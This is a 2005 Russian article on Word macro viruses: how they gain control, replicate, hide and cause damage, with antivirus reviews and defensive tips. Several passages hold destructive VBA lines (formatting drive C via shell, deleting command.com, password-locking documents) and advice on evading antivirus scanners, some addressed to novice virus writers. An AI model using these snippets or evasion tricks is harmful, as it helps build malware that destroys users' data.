Дата публикации статьи: 08.08.2005 09:08

Максим Сокульский
Защита от макровирусов в Word средствами VBA

  • Предисловие
  • Макро-вирусы
  • Формат документа Word
  • Демография и топология системы в документах MS Office
  • Word или Office?
  • Как макровирусы получают управление
  • Проблемы совместимости
  • Антиэвристика
  • Полиморфизм
  • Деструкция
  • Методы борьбы
  • Программа MacHunter
  • Так что же делать....
  • Распространенная ошибка
  • [Скачать] Энкиклопедия макровирусов
  • [Скачать] Патч к программе MacHunter
  • [Форум] Обсудить в форуме
  • Предисловие

    Зачем Вам читать эту статью, ведь Word 97 уже канул в небытиё. Появились более мощные ЭВМ с более интеллектуальным (современным) офисом (Office XP, Office 2003 и прочее). Но стоит посмотреть на скудное оснащение нашей армии (где Вы в армии видели современный компьютер? А на стареньком только Word 97 тянет), да и многие небольшие фирмы могут себе позволить только устаревшие ЭВМ. Данная статья актуальна и сейчас.

    Макро-вирусы

    Макровирусы распространяются вместе с переносимыми с машины на машину документами MS Word. Внутри зараженного документа содержаться вирусные макросы или ссылка на подключаемый \ подгружаемый шаблон. Имеется в виду шаблон, расположенный на локальном диске или же в Интернете на определенном сайте. При этом документ имеет формат шаблона или же стандартного  документа , что исключает нахождение внутри его формул, текста, рисунков и прочего (эта фраза списана с одного из сайтов по защите от макровирусов - я с ней не согласен, ведь как правило, Вы получаете документ с текстом, а внутри документа находится макровирус). Такой документ с точки зрения обработки текста ничем не отличается от "нормального". По умолчанию принято, что файлы "обычных" документов имеют расширение *.doc , а шаблона *.dot но на самом деле Ворд их различает по внутреннему формату не извещая об этом пользователя (равно как и операционная система Windows большинство файлов различает по внутреннему формату). “Нормальный” документ можно превратить в шаблон с помощью команды преобразования или сохранения с определенными параметрами.

    Формат документа Word

    "Обыкновенный" вордовский документ имеет непростую структуру, чем-то напоминающую операционную систему MS DOS с файловой таблицей FAT. Текст и служебная информация в документе расположена наподобие кластеров FAT таблицы. Т.е. данные разбросаны по всему файлу кусками, причем каждому участку кода (служебных данных) определено строго регламентируемое место (имеется в виду последовательность расположения данных, а не побайтовое целеуказание).
    Структура документа (описание дается не по порядку, а хаотически):
    - формат файла и принадлежность к определенному приложению, системе;
    - номер версии Ворда;
    - вид документа при открытии (обычный, разметка страницы и прочее);
    - показывать линейку или нет, а также масштабирование документа;
    - путь к системному каталогу Windows (C:Windows, C:\Windows\Sysrtem, C:\Мои документы);
    - номер подверсии языка VBA;
    - ссылку на подключенные шаблоны;
    - количество макросов в документе, имя модулей, количество строк, непосредственно сам код макроса, двоичные данные о графической информации, используемой в формах, которые вы можете создать в редакторе VBE и работать с ними, размеры формы, объекты, используемые в форме, а также код модуля формы;
    - шрифты, используемые в документе (в документ могут внедряться шрифты TRUE TYPE);
    - зашифрованный пароль на VBA проект (используется просто XOR для каждого символа пароля). Имеется в виду проект, который находится именно в документе, а не в шаблоне.
    - ну, вообще сообщение о формате документа (вордовский обычный, шаблон, документ в формате Unicode);
    - под внедренным объектом следует понимать объекты / документы других приложений связанных с данным документом с помощью технологии OLE;
    - количество символов, рисунков, комментарии, используемые в свойствах документа.
    Вот, например в несколько искаженном виде сердцевина документа(извините за тавтологию ,но эта середина расположена в конце документа) зараженного макровирусом Spy

    T h i s D o c u m e n t . a u t o o p e n:B @ C : B > @ . S p y . a u t o o p e n :
     > = A B @ C : B > @ . S p y . D o o I t : > = A B @ C : B > 
    @ . S p y . F i l e S a v e : > = A B @ C : B > @ . S p y . T o o l s M a c r o :
     > = A B @ C : B > @ . S p y . V i e w V B C o d e , ! " # " . 
    S P Y . D O O I T - ! " # " . S P Y . A U T O O P E N . ! " # " . S P Y . F I L E S A V E 
    / ! " # " . S P Y . T O O L S M A C R O 0 ! " # " . S P Y .
     V I E W V B C O D E 1 ! ! " # " . T H I S D O C U M E N T . A U T O O P E N 

    -это не печатаемые символы (этот текст скопирован при просмотре встроенным вьюером Windows Commandera).
    В нем, как видно указывается какие процедуры(автоматические и свои) использует данный макровирус. Например: T O O L S M A C R O, D O O I T, F I L E S A V E и т.д.

    Демография и топология системы в документах MS Office

    Внутреннее содержимое формата DOC включает не только предыдущие редакции текста, но и название принтера (если принтер сетевой, то с сетевым путем к нему в формате UNC), полный локальный путь к файлу, в том числе сетевой, если доступ к файлу был по сети — опять же в формате UNC, каталог для хранения временных файлов. Кроме даты создания и последней модификации документа (эта временная метка не одно и то же, что Windows ассоциирует с файлом, и они могут не совпадать), в файле сохраняется и другая статистика: общее время редакции и количество правок. Кроме этого, файл содержит имя владельца и название компании, на которую был зарегистрирован Office при инсталляции, имя человека, редактировавшего документ, и его адрес (то, что устанавливается в "Параметрах.../Пользователь"). Другими словами, это то, что видно при вызове диалога свойств документа. Обычная замена в "Параметрах..." имени пользователя не даст полного сокрытия, только добавит имя человека, редактировавшего документ, оставив реквизиты владельца в прежнем виде. Это первый и простой способ к установлению авторства и происхождения документа. Для хакера может быть шагом к раскрытию сетевых имен и топологии. Хотя сами по себе демографические данные в большинстве случаев безусловно полезны, позволяя быстро просматривать документы или сортировать по нужным критериям, бывают ситуации, когда необходима анонимность или нельзя публиковать полную историю документа в Интернет. Для желающих убрать демографические данные придется проделать не сложные, но кропотливые процедуры. Сохранение в формате RTF из Word или Excel не принесет желаемого результата. Я приведу несколько рекомендаций:
    1. Для того чтобы убрать из документа предыдущую копию и уменьшить размер, в первую очередь необходимо убрать в диалоге "Параметры" на странице "Сохранение" флажок "разрешить быстрое сохранение" и повторно сохранить документ. Заметьте, что изменяя всего один символ в документе (причем один раз Вы его вставляете, сохраняете документ, а потом удаляя этот же символ и опять сохраняя документ) Вы можете получить разный результат. Проделать операцию N-раз, желательно закрывая и открывая документ. Размер файла постоянно увеличивается (только *.doc и *.rtf файлы редактируемые Вордом). При этом количество символов не изменяется (см. статистику файла или же считать по-символьно вручную). Это связано с тем, что Ворд скидывает в файл разный цифровой мусор из оперативной памяти, что очень вредит Вашей конфиденциальности (Пример. Армия. Со штаба дают примеры оформления различной документации. Размер файла необыкновенно велик 1,9 МБ, а текста всего 2 странички и одна небольшая табличка. Запускаем Total Commander и встроенным вьюером просматриваем содержимое документа. И что мы видим… Куски текста секретных приказов, распоряжений, причем несколько отрывков приказов Министерства Иностранных Дел и Министерства Обороны. Огромное количество фамилий авторов, редактировавших этот документ.) Чтобы убрать этот “цифровой мусор” и тем самым очистить документ необходимо сохранить документ в RTF формате (причем документ не утратит оригинальное форматирование : цвет текста, тип и кегель шрифта, таблицы и прочее.) Но при этом все макросы будут утеряны (см. описание бреши в RTF формате).
    2. Этого же можно достичь, выполнив команду "Сохранить как..." с новым именем файла или еще раз выбрав из списка файлов текущее имя. Команда "Сохранить как..." не только уберет предыдущую копию документа из файла, но и обнулит статистику редакции документа (общее время и количество правок).
    3. По умолчанию MS Office использует папку "Мои документы" для работы с документами. Путь к ней хранится в системном реестре Windows, с этой папкой интенсивно оперирует оболочка Windows. Если есть смысл скрыть расположение этой папки, то для этого необходимо сохранить документ в папку, отличную от той, которую по умолчанию использует MS Office ("Мои документы"), чтобы усложнить задачу "охотнику".
    4. Безусловно, нет никакой необходимости всем раскрывать свою сетевую топологию. Поэтому я рекомендовал бы не сохранять версии документов, используя разделенные ресурсы локальной сети, которые будут передаваться по Интернету или копироваться для распространения. В результате сохранения по сети будут выданы: название компьютера с именем разделенного ресурса с полным сетевым путем к документу в формате UNC. Для этого есть простое решение: сохранить документ на локальном диске, например в малоинформативном корневом каталоге локального диска C, и после этого скопировать его в "конечный пункт назначения".

    И еще...

    В программных приложениях Word и Excel содержится механизм, посредством которого данные из одного документа могут быть вставлены в другой документ. Этот механизм, известный под названием field codes в Word и external updates в Excel, может быть автоматизирован для сокращения ручной работы. Уязвимость состоит в том, что существует возможность злоумышленно использовать данный механизм для похищения информации с компьютера пользователя без его ведома. В процессе сохранения документа или ручного обновления ссылки происходит обновление field code и external update. Обычно пользователь знает о происходящем обновлении, однако, при определенных настройках этот процесс может становиться незаметным для пользователя системы. В таком случае хакер может создать документ, который при его открытии сам обновится и включит в себя содержание из определенного файла с компьютера пользователя. Сценарий проведения атаки с использованием данной уязвимости должен быть примерно следующим. Сначала хакеру надо будет создать документ в формате Word или Excel, использующий данную уязвимость, доставить его пользователю и убедить открыть этот документ. Естественно, для успешного завершения атаки хакеру каким-то образом необходимо заставить пользователя возвратить ему документ с украденной информацией. Следует помнить о возможности отправки (даже без ведома пользователя) вордовского документа путем встроенного механизма обмена информацией между Outlook Express и Вордом. Причем эти действия не обязательно будут видны пользователю (Например. Melissa или модификация Thus.001)

    Word или Office?

    Существуют так называемые офисные макровирусы (например по классификации DrWeb обыкновенный вордовский макровирь под Word 97 классифицируется как W97M.имя, а вот офисный макровирь классифицируется как O97M.имя). Какое отличие вордовского макровируса от офисного ? Офисные макровирусы могут заражать одновременно и вордовские документы и Exel'евские тоже. Причем не только Exel'евские, а и документы других приложений, которые используют общий (встроенный) язык программирования (автоматизации ?!). В данном случае это Visual Basic for Application.
    Его поддерживает (для Office 97) Word97, Exel97, Access 97, Binder 97, Outlook 97.
    Алгоритм работы такого макровируса :
    1. Получить управление.
    2. Запустить другое приложение, например Exel (создать объект копии Exel в памяти). Как правило, Exel при запуске в обычном режиме появляется на панели задач, но вирмейкеру это не нужно. Поэтому Exel, как правило, запускается в скрытом режиме (Visible=False). Причем это не мешает вирмейкеру програмно обращаться ко всем свойствам, функциям и объектам с помощью все того же VBA.
    3. Скопировать / вставить в загруженное приложение процедуры / функции, характерные для него, используя встроенные переменные и объекты этого приложения (Например, в Exel это книги и рабочие листы).
    4. Сохранить получившийся документ (подгружаемый шаблон) Exel'а и закрыть это приложение (Заметочка. Для Exel'a очень важен каталог XLStart).
    5. Сохранить свое тело в Ворде (если заражен сам документ, то заразить шаблон и наоборот. Обязательно сохранить изменения). Конечно, писать взаимозаменяемый макровирь, заражающий Word и Exel требует знание встроенных объектов в приложениях и некоторый уровень вирмейкера. Для этого существуют справки по VBA. (Совет. Если Вы начинающий вирмейкер, то Вам просто необходимо поэкспериментировать с записью макросов. Нажимаете кнопочку <Записать макрос>, потом что-нибудь делаете. Останавливаете, открываете редактор макросов VBE и смотрите на получившийся код).
    6. Отвлечь чем-нибудь пользователя (Например, каким-нибудь дурацким сообщением о критической ошибке Ворда или системы и закрыть приложение. Это лучше всего делать в том случае если проверка показала что у нас что-то еще не было заражено). Это необходимо сделать для того, чтобы пользователь со "слабой" машиной не заподозрил ничего. Ведь ни один макровирус ничего мгновенно не делает, а даже если и делает, то сохраняя изменения вы "сгорите".
     

    Как макровирусы получают управление

    В MS Word существуют так называемые автоматические макросы которые выполняются при определенных условиях ,например при открытии документа или если послать документ на печать или же если вызвать справку(можно нажатием мыши, а можно и клавиатурной комбинацией),или же просто (если шаблон уже заражен или заражен открываемый документ) при запуске самого текст -процессора. Если открываемый документ содержит один из автоматических макросов то они запустятся, а вместе с ними получит управление макровирус. Получив управление макровирус как правило предпринимает действия по фиксированию себя в системе .Для этого он переносит свое тело в главный шаблон "Normal.dot"(актуально только для русской версии, как там на западе я просто не знаю, не был). Макросы из этого шаблона загружаются автоматически при запуске Ворда. "Вылечить" шаблон можно только удалив его с диска (естественно удалять имеет смысл только при закрытом Ворде), Ворд создаст новый "чистый" шаблон без вирусов (но не забывайте вылечив таким вот образом шаблон, Вы не вылечите все документы, в которых тоже хранятся макровирусы). Но как правило макровирусы еще содержаться в зараженном документе при запуске которого произойдет опять заражение шаблона. Или же стоит вручную удалить как из шаблона так их каждого документа :-( А также возможен запуск макровируса из каталога автозагрузки . Ворд при запуске просматривает этот каталог и подгружает некоторые шаблоны при этом не сообщая пользователю об их запуске (но как правило Ворд сначала подгружает свой шаблон а потом - левые).
    Стоит также упомянуть про заражение файлов из так называемых подключенных шаблонов(это можно выявить с помощью Organizer'a), который стоит отключить. Опять через тот же Organizer, конечно если он не заблокирован макровирусом. (Совет. Учите клавиатурные комбинации! Ведь как правило макровирус блокирует только пункты меню или панели инструментов [кнопочки] для вызова различных опций и инструментов [например вызов редактора макросов VBE или Organizer'a]. При этом вирмейкеры забывают предопределить клавиатурную комбинацию для вызова этой функции [Например. Редактор макросов VBE вызывается с помощью клав. комбинации Alt+F11]. А еще можно при запуске Ворда прервать работу макроса/макровируса с помощью клавиатурной комбинации CTRL+BREAK. При этом выскочит окошко с предложением завершить выполнение макроса или запустить отладку. [нажатие на эту кнопку автоматически запустит редактор макросов VBE, даже если запуск его заблокирован макровирусом]. Как правило макровирус блокирует только клавишу ESC [EnableCancelKey]. Но этого мало...)

    Как правило, в макровирусе должны присутствовать такие команды как размножение и сохранение изменений ( конечно же не стоит забывать про автоматически выполняемую процедуру или же про перехватываемую макровирусом встроенную, служебную функцию). Для этого существует несколько методов. Рассмотрим основные из них.
    -Размножение-
    InsertLines- просто вставляет строки макровируса в новый модуль.
    AddFromString-добавляет к модулю тело макровируса .
    AddFromFile-дописывает к файлу модуль вируса.
    OrganizerCopy- копирует свое тело в шаблон при этом в команде существует один необязательный параметр при указании, которого модуль получается исполняемым (и после этого не подлежит редактированию).
    GetSelection, SetSelection (например Application.VBE.CodePanes(1).GetSelection m, n, x, y )
    В VBE выделив таким вот образом макрокод его можно скопировать в буфер или присвоить какой-нибудь переменной (Variant or String ?). Например W97M.Belyash (6) так и делает.
    Export-сохраняет тело макроса на диск в виде двоичного файла (диск при этом используется как промежуточное звено).
    Import- а с помощью этой команды макровирус экспортированный (да и собственно просто сохраненный на диск файл) на диск вставляется в шаблон или активный документ.
    Replaceline-а с помощью этой команды можно просто заменять существующие строчки макроса.
    Add- добавляет/дописывает к документу макровирус (модуль/модуль класса).
    А также возможно просто открыть файл для записи open fName$ for bynary as #1 а потом найти точку входа макросной команды с помощью оператора Seek что определяется опытным путем, а потом просто вставлять туда тело макровируса с помощью команды put(если честно я не знаю сработает это или нет).
    Существует также так называемый присоединенный шаблон ADDIn, который запускается вместе с "основным" шаблоном, но к сожалению я еще пока таких не встречал, так что не могу точно объяснить алгоритм работы данного вируса (разве что на примере украинско-русского переводчика Рута-Плай). А также по имеющейся у меня информации присоединенные шаблоны могут загружаться из Интернета с определенного сервера (на котором может время от времени изменяться алгоритм работы макровируса, что затрудняет его обнаружение). А также существует еще один мало распространенный алгоритм заражения документов он использует предопределение клавиатурных комбинаций
    CustomizationContext = NormalTemplate
    KeyBindings.Add _
    KeyCategory:=wdKeyCategoryCommand, _
    Command:="FileClose", _
    KeyCode:=BuildKeyCode(wdKeyControl, wdKeyAlt, wdKeyW)
    Предопределим комбинацию и при ее нажатии вызовем процу закрытия файла (например так делал макровирус с именем Gangsterz).
    И еще ,чуть не забыл - ведь можно использовать буфер обмена. Например макровирус bDoc так и делает.
    Ну а для сохранения используются Save, Save As (ну и конечно же Вы сами отвечаете Да на вопрос при закрытии документа [Сохранить изменения в документе ?]) и не только. Ведь макровирус может и не спрашивать пользователя о сохранении, он сам может обрабатывать эту процедуру.
     

    Проблемы совместимости

    В Майкрософт решили выпускать локализированные версии Ворда. Поэтому Ворд испанской версии будет содержать название функций на испанском языке. Поэтому если у нас существует автоматическая процедура FileOpen ,то это не значит, что такая же процедура носит идентичное название в испанской версии (ArchivoNovo - вот полное название этой процедуры в испанской версии). Поэтому данный макровирус не будет "там" размножаться, но все же он будет присутствовать в документе и при попадании (с помощью Интернета) к "нам" он активизируется.

    Макровирус прячется в : - самом документе ThisDocument (имя может быть изменено на любое другое) или в отдельном модуле/модуле класса
    - в шаблоне, как правило это Normal.dot для русской версии (как в ThisDocument так и в отдельном модуле/модуле класса ). Вообще-то вы сами можете создавать шаблоны, но "главным " все-таки остается Normal.dot. В иностранных локализованных версиях обращение к «главному шаблону» пишется так "Global:", а вот у нас вот так NormalTemplate;
    - каталоге Startup (автозагрузка для Ворда);
    - каталоге ADDIns;
    - в другом подключенном/связанном с документом или NormalTemplate шаблоне (причем подключается исключительно шаблоны);
    - в другом офисном документе (например Exel'евском файле), который в случае активизации получит управление и заразит Word;
    - в экспортированном на диск модуле/модуле класса обычном или зашифрованном текстовом файле. Вреда этот файл не принесет пока не попадет в характерную для него среды обитания (запретив установку VB библиотеки вы тем самым убъете макросы/макровирусы). Но антивирусы бурно реагируют при обнаружении такого файла и считают его потенциально опасным (кстати не все антивирусы, некоторые их просто игнорируют, считая просто текстом). Удалив макрокод из шаблона вы тем самым вылечите только шаблон, но ведь еще прийдется лечить все зараженные документы.

    Для сокрытия своего присутствия в системе (если считать ворд отдельной системой) макровирусы принимают ряд действий:
    - блокируют вызов редактора макросов VBE (там их можно обнаружить явно).Например
    If bluescreen then showvisualbasiceditor=true
    Или же выдает сообщение что-то типа невозможно открыть редактор (в результате ошибке в системе). Или же
    Sub ViewVbCode ()
    End sub
    Просто ничего не запустится ,т.к. это пустая процедура .
    - подавляют различные сообщения Ворда (напрмер сообщение о преобразовании документа в шаблон, сообщение об ошибках, сохранении документа/шаблона);
    - отключают внутреннюю защиту Word'a от макровирусов (путем изменения настроек безопасности в реестре. Например VirusProtection=False);
    - блокируют клавиатурные комбинации (например клавишу ESC [EnableCancelKey]);
    - прячут панели инструментов для работы с макросами [например CommandBars ("Tools").Controls ("Macro").Enabled=0 ] и шаблонами;
    - используют шифрование своего тела или полиморфизм для обмана как "наивного" пользователя так и более умного антивируса;
    - защищают проект от просмотра паролем;
    Существуют и другие способы сокрытия в системе, но мы не будем их рассматривать - ведь это не руководство к написанию вирусов :)

    Антиэвристика

    Для того чтобы сбить с толку эвристический анализатор нужно просто запутать его. Например как известно DrWeb старых версий, равно как и хваленный AVP не обрабатывал смену шрифтов. Вообще для того чтобы обмануть антивирусный монитор необходимо использовать API функции (VBA допускает работу с ними. Макровирус SkySoldier или VBACodeFlopy вполне нормально с ними работает). Например можно из любой программы послать окну AVP сообщение о закрытии ...Так вот новый вирус сможет просто закрыть AVP монитор (на момент 2003-2004 года это работало) без его на то согласие(я вот пробовал закрыть дрвеб, послав ему такое сообщение, о закрытии окна. Так вот GUI надстройка закрывается, но антивирусы используют виртуальный драйвер, который в принципе как окно не рассматривается, разве что как процесс или поток. Поэтому можно только схитрить, испортить *.vxd файл- вирт. драйвер открыв его на запись и записав в начало файла любой символ, при этом формат исполняемого файла будет испорчен. А потом фактически перезагрузить систему. А так как виртуальный драйвер грузится при старте системы, а мы его до этого испортили – то антивирусный монитор не запустится) ...
    По крайней мере, на сколько я знаю, при использовании проводника, может использоваться спец. файл (так называемый файл описания каталога. Как правило, он присутствует только в системных каталогах) ...Поэтому стоит обращать на присутствие в макросе этих команд.

    Полиморфизм

    Уже длительное время существуют полиморфные вирусы под ДОС, но с выходом в свет Ворда появилась такая разновидность полиморфиков, как полиморфный макровирус. Существует несколько разновидностей полиморфизма . Рассмотрим основные из них.
    1.Ранее антивирусные сканеры производили поиск макровирусов по имени модуля ,содержащего вирусное тело .Но макровирусы научились менять имя несущего модуля.
    2.Также существуют макровирусы меняющие название процедур и функций (но как правило неизменной была только одна автоматическая процедура с помощью которой вызывались остальные -по крайней мере это мое мнение).
    3.Вставка мусора и увеличение контрольной суммы
    Это например комментарии что то типа
    Dyjj778jrrRtopSDFDEaaqaa{{{ЕГНГАВІФФЯЧСМРГШ*(?*:%;№"№
    Или же например вставке простых команд языка for е=1 to 10 next
    Так вот с каждым новым поколением вируса длина макросы как бы изменялась ,а т.к. некоторые сканеры просто просматривают длину макроса по своей базе и на основании некоторых байт и длины делают вывод-это усложнило диагностику /нахождение полиморфика.
    4.Замена основных команд комментариями
    ' Macrocopy
    Так вот антивирусные сканеры (но не все) игнорируют комментарии поэтому в таком макросе вирусы не будут обнаружены. А при исполнении макроса комментарии просто расшифровываются и команда выполняется.
    5.Смена регистра букв в команде. Например:
    NormalTemplate и
    noRmaLteMplate
    Так вот многие сканеры просто искали маски в одном регистре ,а остальные просто игнорировали (простая забывчивость разработчиков, но она вошла в историю).
    6.Присвоение некоторых переменным другим и разбиение на несколько.
    Например строчку
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    Можно разбить на
    Set x=NormalTemplate.VBProject.VBComponents и
    let TTTT=x.Item(1).CodeModule.CountOfLines
    что тоже усложняло обнаружение макровируса в шаблоне или в ThisDocuments
    7.Шифрование своего кода .Например
    z=ssassfderhgghааввеннргнгнг-098132мввав
    вот такой вот текст с помощью спец. алгоритма расшифровывался и мог превратиться в что то типа команды Macrocopy. Или же просто производился XOR или SHIFT с каждым символом . Так вот в макросе стоит искать команды для работы со строками
    Chr
    asc
    ucase
    lcase
    instr
    instrrev
    left
    right
    mid
    trim
    ltrim
    rtrim
    len
    str
    cstr
    val
    strreverse
    strconv
    xor
    shift
    rnd
    randomize
    Хотя это и не значит, что в макросе присутствует полиморфик (необходимо учитывать, что Ворд это текстовый редактор - поэтому работа со строками вообще то обыкновенное дело). Вот часть кода полиморфного макровируса "polyМОРФ".
    Sub Body()
    'l‹=bЏЏЊЏ=o‚ђ’Љ‚=k‚•‘
    'kqf‹ѓ=Z=c~‰ђ‚
    '^af‹ѓ=Z=c~‰ђ‚
    'cЊЏ=f=Z=N=qЊ=kЊЏЉ~‰q‚ЉЌ‰~‘‚Ks_mЏЊ‡‚Ђ‘Ks_`ЊЉЌЊ‹‚‹‘ђK`Њ’‹‘
    'fѓ=kЊЏЉ~‰q‚ЉЌ‰~‘‚Ks_mЏЊ‡‚Ђ‘Ks_`ЊЉЌЊ‹‚‹‘ђEfFKk~Љ‚=Z=?ЌЊ‰–йлнс?=q…‚‹=kqf
    ‹ѓ=Z=qЏ’‚
    'k‚•‘=f
    'fѓ=kЊ‘=kqf‹ѓ=q…‚‹
    Данный макровирус содержит основное тело (с командами размножения) в зашифрованном виде и при открытии документа расшифровывает данную процедуру и вызывает ее на исполнение. Как видите, он использует несколько приемов – все зашифрованные команды помечает как комментарии и при этом шифрует их. А вот как я и говорил главная процедура, необходимая для запуска макровируса. В данном случае эта процедура является и расшифровщиком. Sub AuToOpEn()
    10 On Error GoTo 8
    11 Rem “Расшифровка”

    35 St = St + Chr(Abs(Asc(Mid(CodeIn.Lines(i, 1), NChr, 1)) - 29))
    48 i = i + 1
    ….
    89 Call Body
    8: 'метка в случае ошибки макрос прекращает свою работу
    End Sub
    А принцип здесь простой …получить управление (в данном случае с помощью автоматической процедуры AutoOpen), потом расшифровать основное тело (строчки с 11 по 89) и произвести запуск расшифрованной процедуры (см. строчку 89). А шифрование производится с помощью некоторых математических преобразований и встроенными функциями VBA для работы со строками/символами. При этом может меняться, например от поколения к поколению алгоритм шифрования.
    Я вот когда открыл документ с этим макровирусом (его правда сначала поймал MacHunter) я так и не понял сначала что это (с виду беспорядочный набор символов в комментариях). Ну, решил поиграться с ним. А для расшифровки воспользовался этим же вирусным расшифровщиком. При этом я заремил вызов (после расшифровки) основного тела вируса (см строчку 89). Макровирус сам себя расшифровал, и я смог разобраться в его структуре.
    Но как правило незашифрованным остается сам расшифровщик, ну и автоматическая процедура (если Вы и ее зашифруете, то не получите управления).
    Хотя можно использовать несколько расшифровщиков (так сказать увеличить глубину) один расшифровщик расшифровывает следующий. Но как Вы сами понимаете это не стоит того, т.к. стоит попасть к разработчикам антивируса и вся работа коту под хвост (они ведь выделят постоянные байты в коде и все – пиши пропало). Но сейчас очень мало грамотных пользователей (которые даже не знают что такое антивирус, а если и знают, то не обращаются в службу технической поддержки и не отсылают им свои «зараженные файлы» для анализа. Ну и как правило они не обновляют базы.) поэтому не имеет смысл писать уж очень крутой расшифровщик (главное чтобы этот макровирус не был внесен в базу данных антивируса до того как Вы его решили распространить).
    [Когда-то отправив в лабораторию Касперского штук 10 своих макровирусов получил странный ответ от "ведущего антивиурусного аналитика лаборатории Касперского Александра Гостева" Зачем нам ваши сырцы? Присылайте уже зараженные файлы. И на последок пообещал мне наказание по 255 статье УК РФ если я не перестану писать вирусы. Прошел месяц, макровирусы вполне нормально работали, но KAV даже с эвристиком их не определял. А вот DrWeb & Co. среагировали оперативно (см. дополнения к вирусным базам за 2004 годк версии 4.30-W97M.Belyash (1-4)). Хотя как ни странно конструкторы макровирусов (3 версии) KAV определяет с точностью 100% (Constructor.Macro.Belyash.a-c, но еще существует версия d, которая не внесена пока в базы.)]
    Главное ведь просто скрыть команды размножения и/или переменные для работы с коллекциями VBA.
    Вообще для того чтобы определить тело вируса необходимо произвести расшифровку тела макровируса. Многие антивирусы производят запуск документа в Sandbox и там производят расшифровку.
    Очевидно, что антивирусные мониторы начинают понимать, что на машине активизировался макро-вирус при выполнении определенных команд в макросе(поведенческий блокиратор). Если конечно антивирусы не знают про этот вирус и строка из него не включена в базу. Таким образом, вирмэйкирам необходимо максимально разнообразить код макросов. Этого можно добиться используя функцию Chr() (про функцию читайте в хелпе по VB) со всеми строковыми параметрами функций. Эти две строки будут делать одно и тоже, однако выглядят они по разному:
    CreateObject("Scripting.FileSystemObject")
    CreateObject(Chr(83) + "cripting.FileSystemObject")
    Естественно, что менять можно не только первую букву, более того можно менять даже не одну букву! ;) Чем больше и чаще будет использована функция Chr() тем необычней будет код макроса, следовательно антивирусу будет сложнее предусмотреть все необходимые варианты вызова функций, т.к. можно сделать:
    Chr(xx) + "cripting.FileSystemObject"
    Chr(xx) + "cripting."+ Chr(xx) + "ileSystemObject"
    Chr(xx) + "cri"+ Chr(xx) + "ting."+ Chr(xx) + "il"+ Chr(xx) + "Sys"+ Chr(xx) + "emObject"
    Значения "xx" можно взять из таблицы символов.
    Но вообще то это не самое страшное что может принести вам макровирус ...

    Деструкция

    Например макровирус сможет запустить на Вашем диске программу форматирующую ваш любой локальный диск (возможно даже диск С как правило на нем находится самая важная системная информация). shit$="echo Y|format c: /q"
    shell environment$ ("comspec")+"/c"+shit$,0
    Или же просто удалит Ваши файлы с диска
    Kill "c:\command.com"
    Но самое страшное что может сделать вам макровирус с моей точки зрения это установить пароль на Ваши документы. Когда то некий макровирус просто установил пароль на мой курсовой .Я был просто повержен человеческой подлостью, столько работы пропало. Но и на него нашелся болт- я начал искать программу для взлома паролей на вордовский документ и нашел так вот если вам понадобится, зайдите попробуйте (www.passwords.ru) Так вот я все таки спас свою работу. Потом разобрался с макровирусом а там просто стояла строчка
    ActiveDocument.Password="Oops!"
    Ну это еще ничего а представьте если бы там генерировалось число от времени, а потом умножалось на самого себя и на некоторую переменную .Таким вот образом генерировался просто бы для каждого документа новый пароль и мне пришлось бы каждый документ взламывать я бы просто потратил бы свои лучшие годы на это :-) И это все происходило при установленном мониторе MacAfee ,правда там была устаревшая база, но все же.

    Методы борьбы

    Ну во первых поставьте себе какой-нибудь антивирусный монитор (наиболее популярны сейчас Drweb-100% обнаружение (да я и сам им пользуюсь, конечно он не такой разрекламированный, но он надежнее AVP и более профессионально исполненный).
    AVP-Имеет встраиваемый в Word модуль для защиты от макровирусов, но я ему не доверяю, сильно разрекламированный и по последним моим сведениям проиграл по результатам тестирования независимыми экспертами DrWeb' y.
    Данный антивирусный пакет имеет встроенный модуль для борьбы с макровирусами Office Guard. Но когда он меня 4 раза подряд спрашивал разрешение на открытие моим макросом файла для записи я его убил. Если честно, поставив его Вы не сможете полноценно работать с макросами уж очень тупой этот Guard. Хоть и есть в нем куча настроек. Но при моих экспериментах да и просто попытках поработать с макросами он меня достал глупыми вопросами а это разрешить а это что – то там хочет (А у рыбок в аквариуме свет не горит).
    MacAfee-на западе ну очень популярный (хотя там и пользуются российскими разработками - они более быстро реагируют на появление "новой заразы").
    NortonAntivirus - вообще то неплохая разработка но по некоторым данным плохо производит лечение (например один мой безобидный макрос который экспортировал данные на диск он вообще поставил на карантин -говорит вирус, мля).
    Panda Antivirus-последнее время приобретает большую популярность. Но уж очень плохой у него эвристический анализатор. Но следует признать, что знает то находит и лечит.
    Pristav - специально предназначен для удаления макровирусов, но после длительного тестирования ,я в нем разочаровался .Хоть он и коммерческий, но на него совсем не тянет - слабоват.(www.antivirus.ru)

    На сайте Stocona Antivirus есть сравнительный анализ современных антивирусов с описанием их реагирования на тот или иной код макровируса. Хотя авторы Стоконы оказались во всем правы, но я не могу понять почему тогда их антивирус вообще не может подняться на тот же уровень.
     

    Программа MacHunter

    MacHunter -Малоизвестен широкой публике, но в последнее время набирает популярность ,100% обнаружение (всех) макросов. Но к сожалению в нем пока слабоват алгоритм определения вирусных инструкций (В новой версии я его переписал) . Но в настоящее время я не знаю алгоритма обхода вирусом данного фильтра . Да, и по моим сведениям его практически не возможно обойти. Даже если макровирус защищен паролем программа знает как с ним бороться. Хотя программа и молода еще, но она совершенствуется, устраняются некоторые баги и улучшаются алгоритмы. Практически программа встроена в Ворд , имеет много полезных настроек. Хотя она и не является полноценный антивирусом , а скорее фильтром разрешающим выполнение полезных макросов и запрещая работу макросов, определенных пользователем как макровирус. Программа работает под MS Word 97/2000/XP. Я очень долгое время ей пользуюсь и Вам советую. Автор : Аверков Олег , ну и я чуть помог.
    Найти Вы ее можете www.machunter.narod.ru

    Внимание DrWeb (и MacAfee)определяет как макровирус Друппи ,но к счастью это не так (вот и понимай как знаешь ихние хваленные эвристические анализаторы, то ли дело MacHunter -даже сам себя проверяет, и не пропустит если вы захотите его обозначить как макровирус).
     

    Так что же делать....

    Этот вопрос возникает потому что приходится каждый раз обновлять вирусные базы для антивирусных программ, а так как не у каждого есть инет это становится прям ПРОБЛЕМОЙ. Я вот предлагаю сохранять документы в RTF формате. Хотя по моим последним данным он может содержать макровирус.
    Обнаружение дыры в RTF документе ,но все же процент появления там макровируса очень мал (енто ведь так сказать, пока что только проба пера, и будущее покажет). Но не стоит забывать, что работая с RTF документом вы можете даже и не подозревать, что в шаблоне уже висит макровирус

    Распространенная ошибка

    Некоторые доморощеные программисты предлагают создать такую процеДУРУ
    Sub AutoExec()
    DisableAutomacros 0
    End Sub
